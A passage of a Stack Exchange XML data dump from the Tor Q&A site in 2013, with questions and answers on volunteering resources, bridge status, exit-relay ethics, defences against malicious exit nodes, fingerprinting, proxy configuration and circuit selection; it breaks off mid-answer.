  <row Id="204" PostTypeId="2" ParentId="124" CreationDate="2013-09-30T04:37:02.027" Score="4" Body="&lt;p&gt;If you want to contribute resources to the network that will only be available for a short period, consider &lt;a href=&quot;https://crypto.stanford.edu/flashproxy/&quot; rel=&quot;nofollow&quot;&gt;Flash Proxies&lt;/a&gt;, which were designed to help use Tor for censorship circumvention with short-lived resources specifically in mind. Flash proxies aren't relays per se, but run in your web browser and convey traffic to a relay for clients that are set up to use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you cannot contribute any sort of network resource, you can still contribute money that will be used to pay operating costs for running relays. See, for example, &lt;a href=&quot;https://www.torservers.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.torservers.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="71" LastEditDate="2013-10-11T12:26:06.277" LastActivityDate="2013-10-11T12:26:06.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="205" PostTypeId="2" ParentId="111" CreationDate="2013-09-30T05:19:43.750" Score="1" Body="&lt;p&gt;This issue is not specific to Tor packages.  &lt;a href=&quot;http://www.rpm.org/max-rpm/ch-rpm-verify.html&quot; rel=&quot;nofollow&quot;&gt;RPM can verify&lt;/a&gt; integrity of installed files.  For systems that use APT, the &lt;a href=&quot;http://packages.debian.org/stable/debsums&quot; rel=&quot;nofollow&quot;&gt;debsums&lt;/a&gt; utility works similarly.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-09-30T05:19:43.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="206" PostTypeId="1" AcceptedAnswerId="211" CreationDate="2013-09-30T07:27:36.920" Score="9" ViewCount="618" Body="&lt;p&gt;I'm thinking about how I can help Tor and its users. However I don't own big servers and also don't want to run a relay from my home. The only thing I have up to now is some private website. Is there anything I can do to help out?&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-31T19:24:36.427" Title="Can I help Tor if I just have webspace?" Tags="|help|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="207" PostTypeId="2" ParentId="206" CreationDate="2013-09-30T08:26:22.843" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/getinvolved/volunteer.html.en&quot; rel=&quot;nofollow&quot;&gt;volunteer page&lt;/a&gt; on the Tor website lists several easy things you can do to help the Tor Project. A few easy ones are below.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you're willing to spend a tiny bit of money (~20 USD per month) you can set up a Tor bridge relay via &lt;a href=&quot;https://cloud.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor Cloud&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Know any languages that Tor should be in? You can help with &lt;a href=&quot;https://www.torproject.org/getinvolved/translation.html.en&quot; rel=&quot;nofollow&quot;&gt;translating tor&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;And of course, &lt;a href=&quot;https://www.torproject.org/getinvolved/volunteer.html.en#Advocacy&quot; rel=&quot;nofollow&quot;&gt;advocacy&lt;/a&gt; is always good (and you can use the web resources you already own).&lt;/li&gt;&#xA;&lt;li&gt;You can also &lt;a href=&quot;https://www.torproject.org/docs/running-a-mirror.html.en&quot; rel=&quot;nofollow&quot;&gt;mirror&lt;/a&gt; the Tor website and/or downloads.&lt;/li&gt;&#xA;&lt;li&gt;Finally, you can help by donating a bit of bandwidth to seed the torrent for &lt;a href=&quot;https://tails.boum.org/download/index.en.html#index2h1&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt; (though this really isn't that necessary... the seed/peers ratio is currently 418/25).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-10-02T22:26:30.960" LastActivityDate="2013-10-02T22:26:30.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="208" PostTypeId="1" CreationDate="2013-09-30T10:17:51.690" Score="9" ViewCount="276" Body="&lt;p&gt;Let's assume I received a letter today that accuses me of downloading an illegal file, posting something inappropriate in a forum, or hacking into a system.  And that happened a few months ago.  But I was running a Tor relay on the IP address stated in the letter back then.  How can I prove that?&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorDisplayName="user5" LastEditDate="2013-10-01T00:16:11.553" LastActivityDate="2013-10-01T00:16:11.553" Title="Can you confirm that my IP address was a Tor relay a few months ago?" Tags="|relays|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="209" PostTypeId="1" CreationDate="2013-09-30T10:34:02.853" Score="13" ViewCount="930" Body="&lt;p&gt;I set up a Tor bridge a couple of days ago, but it sees hardly any traffic.  How can I check that I did everything right and my bridge is actually registered in the Tor network?  And can I find out if it's actually useful?&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2013-12-31T01:36:08.773" Title="How do I know if my bridge is actually useful to the Tor network?" Tags="|bridge|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="210" PostTypeId="2" ParentId="209" CreationDate="2013-09-30T11:25:17.700" Score="-2" Body="&lt;ol&gt;&#xA;&lt;li&gt;I Vidalia Control Panel select &quot;view the network&quot; :&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ABuBj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.Now you will see something like that :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8t3WY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find yourself on the list on the left - you will see how &quot;useful&quot; are you for Tor, what's your internet connection speed, etc. , etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I helped. &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-30T11:25:17.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="211" PostTypeId="2" ParentId="206" CreationDate="2013-09-30T12:00:51.413" Score="13" Body="&lt;p&gt;First, you could set up a &lt;a href=&quot;https://www.torproject.org/getinvolved/mirrors.html.en&quot;&gt;web site mirror&lt;/a&gt; for &lt;a href=&quot;http://torproject.org&quot;&gt;torproject.org&lt;/a&gt;. It requires approximately 8 GB of disk space. Detailed instructions for setting up a mirror are &lt;a href=&quot;https://www.torproject.org/docs/running-a-mirror.html.en&quot;&gt;available&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you could add &lt;a href=&quot;https://crypto.stanford.edu/flashproxy/&quot;&gt;flash-proxy badges&lt;/a&gt; to the web sites you run. This is done by simply adding an &lt;code&gt;iframe&lt;/code&gt; to your HTML source. By including the badge, you can easily help users in censored countries.&lt;/p&gt;&#xA;" OwnerUserId="42" LastEditorUserId="159" LastEditDate="2013-10-02T20:17:37.800" LastActivityDate="2013-10-02T20:17:37.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="212" PostTypeId="2" ParentId="208" CreationDate="2013-09-30T12:39:34.790" Score="7" Body="&lt;p&gt;You can use &lt;a href=&quot;https://metrics.torproject.org/exonerator.html&quot;&gt;ExoneraTor&lt;/a&gt;, a tool by Tor Project designed for that work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you should also contact a lawyer with some affinity on Internet laws so as to handle better your case. If you're located in USA you could contact &lt;a href=&quot;http://eff.org/&quot;&gt;EFF&lt;/a&gt;, a non-profit which actively and legally supports digital rights. If you're in Europe, people of &lt;a href=&quot;https://www.torservers.net/&quot;&gt;Torservers&lt;/a&gt; could give you some advice although they're not lawyers.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-09-30T12:39:34.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="213" PostTypeId="1" AcceptedAnswerId="215" CreationDate="2013-09-30T13:18:39.327" Score="9" ViewCount="376" Body="&lt;p&gt;If I decide to run an exit relay may I run security inspection (Intrusion Prevention System, anti-spam, anti-malware etc.) on the traffic leaving the Tor network? Would this be considered legally and ethically correct? Can I let the Tor users know that there is such a security policy on the exit relay?&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="159" LastEditDate="2013-10-03T18:55:11.430" LastActivityDate="2013-11-18T02:04:02.020" Title="May I do security inspection on exit relays?" Tags="|security|exit-relays|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="214" PostTypeId="2" ParentId="209" CreationDate="2013-09-30T14:00:20.760" Score="10" Body="&lt;p&gt;You can learn more about your bridge at the Globe service: &lt;a href=&quot;http://globe.rndm.de/&quot;&gt;http://globe.rndm.de/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can learn how much traffic your bridge pushed in the last days or weeks.  You can also find out whether and how your bridge is given out to bridge users, like via email or https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that bridges that aren't given out are not useless.  These bridges can be given out to censored users manually, which means they're less likely to be blocked.  It makes sense to keep them running even if they're not pushing much traffic.  If you prefer your Tor node to push much traffic, you should consider turning it into a non-exit relay.  But bridges are important, too.&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="88" LastEditDate="2013-09-30T20:24:52.280" LastActivityDate="2013-09-30T20:24:52.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="215" PostTypeId="2" ParentId="213" CreationDate="2013-09-30T14:10:07.957" Score="8" Body="&lt;p&gt;The short answer is: You shouldn't do it! Do not mess with user data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A large portion of Tor users use it to stay anonymous and they would be very upset when someone messes with their traffic. It is quite hard to decide what spam, malware etc. from the perspective of each user is. So a general filter doesn't fit all your users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to let your users know you probably have to insert data in their traffic. So what happens when someone hacks into your machine and inserts malware itself? &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-09-30T14:10:07.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="216" PostTypeId="1" AcceptedAnswerId="228" CreationDate="2013-09-30T14:27:49.827" Score="6" ViewCount="1513" Body="&lt;p&gt;Tor Exit nodes are the last hop in the circuit a Tor client establishes to reach a service in the Internet. Exit nodes handle the actual traffic of the client, either it's encrypted or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that exit nodes are able to perform logging or various traffic manipulation attacks, harming client's anonymity. An attacker could intercept data or swap them. Even if the client uses SSL to the destination an attacker could try to bypass that using a known attack on SSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the client able to detect a malicious bevaviour from an exit node? If the client does detect it is there a way to report and possibly block that particular exit node? Has Tor Network found a way to protect itself by such attacks in an automatic way without user's intervention ?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-09-30T16:37:09.103" LastActivityDate="2019-11-30T22:36:34.887" Title="How can Tor users and Tor Network protect themselves from an exit node that is actively logging or manipulating exit traffic?" Tags="|attacks|exit-relays|network-health|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="217" PostTypeId="1" CreationDate="2013-09-30T14:31:51.203" Score="10" ViewCount="77354" Body="&lt;p&gt;It's clear, with special configs of this kind, anonymity will suffer. But if one is aware of that and willing to accept that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can one make Tor faster?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can one use only fast relays? Will that actually help?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="923" LastEditDate="2014-03-02T22:37:29.573" LastActivityDate="2017-08-13T01:43:16.583" Title="How can one make Tor faster, when willing to to sacrifice anonymity?" Tags="|anonymity|speed|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="218" PostTypeId="1" AcceptedAnswerId="226" CreationDate="2013-09-30T14:37:14.060" Score="6" ViewCount="14798" Body="&lt;p&gt;A proxy supports only http. No http&quot;s&quot;. Connect method not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, a client can only visit http port 80. Anything else is unsupported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Tor be used in such an environment? How?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;This questions is not about DPI. It is about the requirement to set an upstream http proxy in Tor's torrc proxy settings.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="58" LastEditDate="2013-10-05T17:06:14.723" LastActivityDate="2017-08-16T08:10:04.243" Title="How to use Tor behind a http-only proxy?" Tags="|configuration|pre-tor-proxy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="219" PostTypeId="1" AcceptedAnswerId="256" CreationDate="2013-09-30T14:40:31.000" Score="13" ViewCount="6491" Body="&lt;p&gt;How can &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/121-hidden-service-authentication.txt&quot;&gt;Hidden Service Authentication&lt;/a&gt; be used? I never saw documentation about that anywhere.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2016-11-27T13:11:39.397" Title="How to use Hidden Service Authentication?" Tags="|onion-services|authentication|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="220" PostTypeId="1" AcceptedAnswerId="225" CreationDate="2013-09-30T14:43:20.967" Score="5" ViewCount="120" Body="&lt;p&gt;Can ReachableAddresses be on separate lines? Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReachableAddresses accept *:80&#xA;ReachableAddresses accept *:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or does it have to fit into one? Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReachableAddresses accept *:443, accept *:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="80" LastEditorUserId="58" LastEditDate="2013-10-05T17:07:20.463" LastActivityDate="2013-10-05T17:07:20.463" Title="Can ReachableAddresses be on separate lines?" Tags="|configuration|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="221" PostTypeId="2" ParentId="218" CreationDate="2013-09-30T15:01:56.103" Score="-1" Body="&lt;p&gt;That's one of the &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;Pluggable Transports&lt;/a&gt; jobs to make encrypted traffic look like plain HTTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an obfs2/3 bridge running on port 80 could help you out.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-09-30T15:01:56.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="222" PostTypeId="1" AcceptedAnswerId="247" CreationDate="2013-09-30T16:47:15.837" Score="7" ViewCount="1668" Body="&lt;p&gt;&lt;a href=&quot;http://www.cypherpunks.ca/~iang/pubs/webfingerprint-wpes.pdf&quot;&gt;Recent research&lt;/a&gt; [PDF] has shown that website fingerprinting works with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Website fingerprinting = Determine what website is visited based on certain characteristics even when encryption is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Users:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can users alter their behavior to prevent or make fingerprinting more difficult?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Websites:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can websites do to make it more difficult for an adversary to fingerprint their users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tor/TorBrowserBundle(TBB):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there effective, at least, efficient techniques that can be implemented to make it more difficult or even impossible. For example &lt;a href=&quot;http://www.cs.kau.se/philwint/scramblesuit/&quot;&gt;ScrambleSuit&lt;/a&gt; aims to be more sophisticated than current pluggable transports. Would it help regarding fingerprinting of websites and be feasible to deploy on the whole Tor network?&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2013-09-30T17:55:15.893" LastActivityDate="2013-10-01T12:26:37.713" Title="How can website fingerprinting be prevented?" Tags="|vulnerability|fingerprinting|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="223" PostTypeId="2" ParentId="216" CreationDate="2013-09-30T17:39:17.747" Score="4" Body="&lt;p&gt;I don't think the Tor client itself can detect malicious behaviour carried out by an exit node nor should it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're browsing a site over http:// then as you say, the exit node can view and manipulate your traffic like any MiTM could. The solution is &lt;a href=&quot;http://en.wikipedia.org/wiki/Transport_Layer_Security&quot; rel=&quot;noreferrer&quot;&gt;TLS&lt;/a&gt; but as you pointed out there are MiTM attacks that can be launched against sites using TLS such as those put forward by Moxie Marlinspike and SSLstrip. The final link in the chain is &lt;a href=&quot;http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security&quot; rel=&quot;noreferrer&quot;&gt;HSTS&lt;/a&gt;. HSTS is a policy issued by a server, sent as a HTTP response header, that will force compliant browsers to only ever use https:// on the website. This effectively mitigates the risk of current MiTM attacks against TLS. &lt;/p&gt;&#xA;" OwnerUserId="181" LastActivityDate="2013-09-30T17:39:17.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="224" PostTypeId="2" ParentId="222" CreationDate="2013-09-30T17:40:01.493" Score="-1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It’s extremely difficult for people surfing the Web to avoid being&#xA;  tracked by device-fingerprinting technology.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yeah, that is very hard, but also possible. That is possible by using some extensions to Firefox (look &lt;a href=&quot;http://blogs.wsj.com/digits/2010/11/30/how-to-prevent-device-fingerprinting/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;), there exists also other (experimental) possibility - read more on &lt;a href=&quot;https://blog.torproject.org/blog/experimental-defense-website-traffic-fingerprinting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also helpful may be following URLs :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.w3.org/wiki/images/7/7d/Is_preventing_browser_fingerprinting_a_lost_cause.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.w3.org/wiki/images/7/7d/Is_preventing_browser_fingerprinting_a_lost_cause.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.techradar.com/news/internet/how-linux-can-help-you-protect-your-privacy-online-1094887/3&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.techradar.com/news/internet/how-linux-can-help-you-protect-your-privacy-online-1094887/3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://comments.gmane.org/gmane.network.tor.user/27479&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://comments.gmane.org/gmane.network.tor.user/27479&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/23053/how-to-fight-browser-fingerprinting&quot;&gt;https://security.stackexchange.com/questions/23053/how-to-fight-browser-fingerprinting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I helped.  &lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:45.153" LastActivityDate="2013-09-30T17:40:01.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="225" PostTypeId="2" ParentId="220" CreationDate="2013-09-30T18:46:19.407" Score="6" Body="&lt;p&gt;Yes, it can be multiple lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The config option is a &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.17-rc:/src/or/config.c#l354&quot;&gt;LINELIST&lt;/a&gt; type, just like ExitPolicy.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-09-30T18:46:19.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="226" PostTypeId="2" ParentId="218" CreationDate="2013-09-30T18:49:38.070" Score="9" Body="&lt;p&gt;If your proxy cannot do CONNECT, you lose.  Sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most proxies actually do connect - else how would you visit gmail or anything else doing https - but they only do it for https on port 443.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your proxy does connect, set the HTTPProxy and HTTPSProxy config options in your torrc -- that will make tor make all requests through that proxy using the http proxy command CONNECT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot;&gt;manual page&lt;/a&gt; for more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how restrictive your proxy is, you may also want to set the FascistFirewall option.  This will cause it to only do CONNECTs to port 443, which works in most places.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A pluggable transport that transports Tor connection in normal HTTP would also work.  But that doesn't exist (sufficiently) yet[&lt;a href=&quot;https://github.com/zackw/stegotorus&quot;&gt;1&lt;/a&gt;][&lt;a href=&quot;http://freehaven.net/anonbib/cache/ccs2012-stegotorus.pdf&quot;&gt;2&lt;/a&gt;].&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-09-30T19:34:22.640" LastActivityDate="2013-09-30T19:34:22.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="227" PostTypeId="2" ParentId="202" CreationDate="2013-09-30T19:01:27.783" Score="2" Body="&lt;p&gt;So far it's just something that might be useful for developers to collect.  It's probably nothing that an individual user or relay operator would have to care about at this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also not even clear yet what the answer to your question really is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Roger explained in &lt;a href=&quot;https://tor.stackexchange.com/questions/164/&quot;&gt;What is the &amp;quot;TLS write overhead&amp;quot; percentage reported in Tor log entries?&lt;/a&gt;, &lt;a href=&quot;https://bugs.torproject.org/7707&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ticket#7707&lt;/a&gt; is where some of the development discussion happens.  If you are interested in it, more details can be found there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, nothing to see here, move along. :)&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-09-30T19:01:27.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="228" PostTypeId="2" ParentId="216" CreationDate="2013-09-30T19:05:27.640" Score="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the client able to detect a malicious bevaviour from an exit node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really. If a malicious exit relay operator conducts a man-in-the-middle (MitM) attack by using a self-signed certificate, TorBrowser will display a certificate error page. That's what everybody already knows from an ordinary Firefox. Right now, there is no easy way to distinguish between an actual MitM attack and a web site handing out self-signed certificates.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the client does detect it is there a way to report and possibly block that particular exit node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. If you suspect that an exit relay is interfering with your network traffic, you should report it to the Tor Project by creating a new ticket in the &lt;a href=&quot;https://trac.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug tracker&lt;/a&gt;. If the Tor Project is then able to verify that the reported exit relay is interfering with network traffic, some directory authorities will vote to assign it the BadExit flag which will prevent Tor clients from using it as an exit relay. It remains part of the network, though, because it can still be useful as a non-exit relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that network traffic interference does not have to be a MitM attack. Some exit relays were found to use an OpenDNS configuration which blocks certain web site categories. Upon visiting such a blocked site, you would see an OpenDNS error page. While there is no malicious intent, it certainly represents an undesired interference with user's browsing activity and also results in getting the BadExit flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all, part of the current approach to deal with malicious exit relays is crowdsourcing. Users are greatly encouraged to report suspicious activity. It makes the network more secure for everybody.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Has Tor Network found a way to protect itself by such attacks in an automatic way without user's intervention?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not yet but there are some concept which are being played with. There was also some interesting research in the past. In particular, researchers exploited the fact that traffic sniffers might be configured to conduct a &lt;a href=&quot;http://homes.cs.washington.edu/~yoshi/papers/Tor/PETS2008_37.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;reverse DNS lookup for IP addresses&lt;/a&gt; and others set up &lt;a href=&quot;http://www.cs.columbia.edu/~mikepo/papers/tordecoys.raid11.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;decoy hosts to attract attackers&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="42" LastEditorUserId="16657" LastEditDate="2017-04-30T23:02:20.727" LastActivityDate="2017-04-30T23:02:20.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="229" PostTypeId="2" ParentId="213" CreationDate="2013-09-30T20:01:36.553" Score="4" Body="&lt;p&gt;As Jens said, you shouldn't do it simply because it's not very nice; however, Tor also takes measures to penalize exit relays that do this sort of thing. Your relay will quickly get the &lt;code&gt;BadExit&lt;/code&gt; flag. From the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;dir spec&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;BadExit&quot; if the router is believed to be useless as an exit node&#xA;  (because its ISP censors it, because it is behind a restrictive&#xA;  proxy, or for some similar reason).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and won't be used as often when building circuits.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-09-30T23:14:51.720" LastActivityDate="2013-09-30T23:14:51.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="230" PostTypeId="1" AcceptedAnswerId="255" CreationDate="2013-09-30T20:04:35.083" Score="14" ViewCount="2178" Body="&lt;p&gt;Three variants on the same question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click &quot;new identity&quot; in Tor Browser to get a new circuit, why does my new circuit sometimes have the same exit relay as the last circuit? Doesn't that hurt my anonymity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does clicking &quot;new identity&quot; replace only my exit relay, or does it replace the whole circuit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between clicking &quot;new identity&quot; in Vidalia and clicking it in Torbutton? Which should I use?&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-12-06T05:04:13.067" LastActivityDate="2016-12-06T05:04:13.067" Title="When I click &quot;New Identity&quot;, why do I sometimes end up with the same exit relay?" Tags="|tor-browser-bundle|anonymity|exit-relays|circuit|stream-isolation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="231" PostTypeId="2" ParentId="113" CreationDate="2013-09-30T20:57:50.867" Score="11" Body="&lt;p&gt;I want to add some details to &lt;a href=&quot;https://tor.stackexchange.com/a/114&quot;&gt;alaf's answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Tor circuit consists always of three nodes. &lt;a href=&quot;https://tor.stackexchange.com/questions/103/is-it-possible-to-make-the-tor-onion-routing-path-longer&quot;&gt;Longer paths&lt;/a&gt; may hurt your anonymity in the case of Tor.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Exit node is chosen.&lt;/li&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your &lt;code&gt;torrc&lt;/code&gt; might have some settings about which exits to (not) choose.&lt;/li&gt;&#xA;&lt;li&gt;Tor chooses an exit relay which actually allows you to exit the Tor network. Some only allow web traffic (port 80) which is not useful when someone wants to send emails.&lt;/li&gt;&#xA;&lt;li&gt;The exit relay has to have available capacities. Tor tries to choose such exits which have enough ressources available.&lt;/li&gt;&#xA;&lt;li&gt;Some exit relays are considered as bad exits. They might listen in your traffic, change your traffic etc. Tor does not choose them (as long as you don't explicitly allow it).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;li&gt;Entry and middle relay is chosen.&lt;/li&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tor tries not to choose relays which might belong to the same operator.&lt;/li&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Relay is not in the same /16 subnet. So Tor only uses one IP address in a range from 10.12.0.0 to 10.12.255.255 (10 and 12 can be any number).&lt;/li&gt;&#xA;&lt;li&gt;Operators who run more than one relay should declare those relays their 'family' (There is a special option in the configuration). Tor doesn't choose more then one relay from a family.&lt;/li&gt;&#xA;&lt;li&gt;A client can also 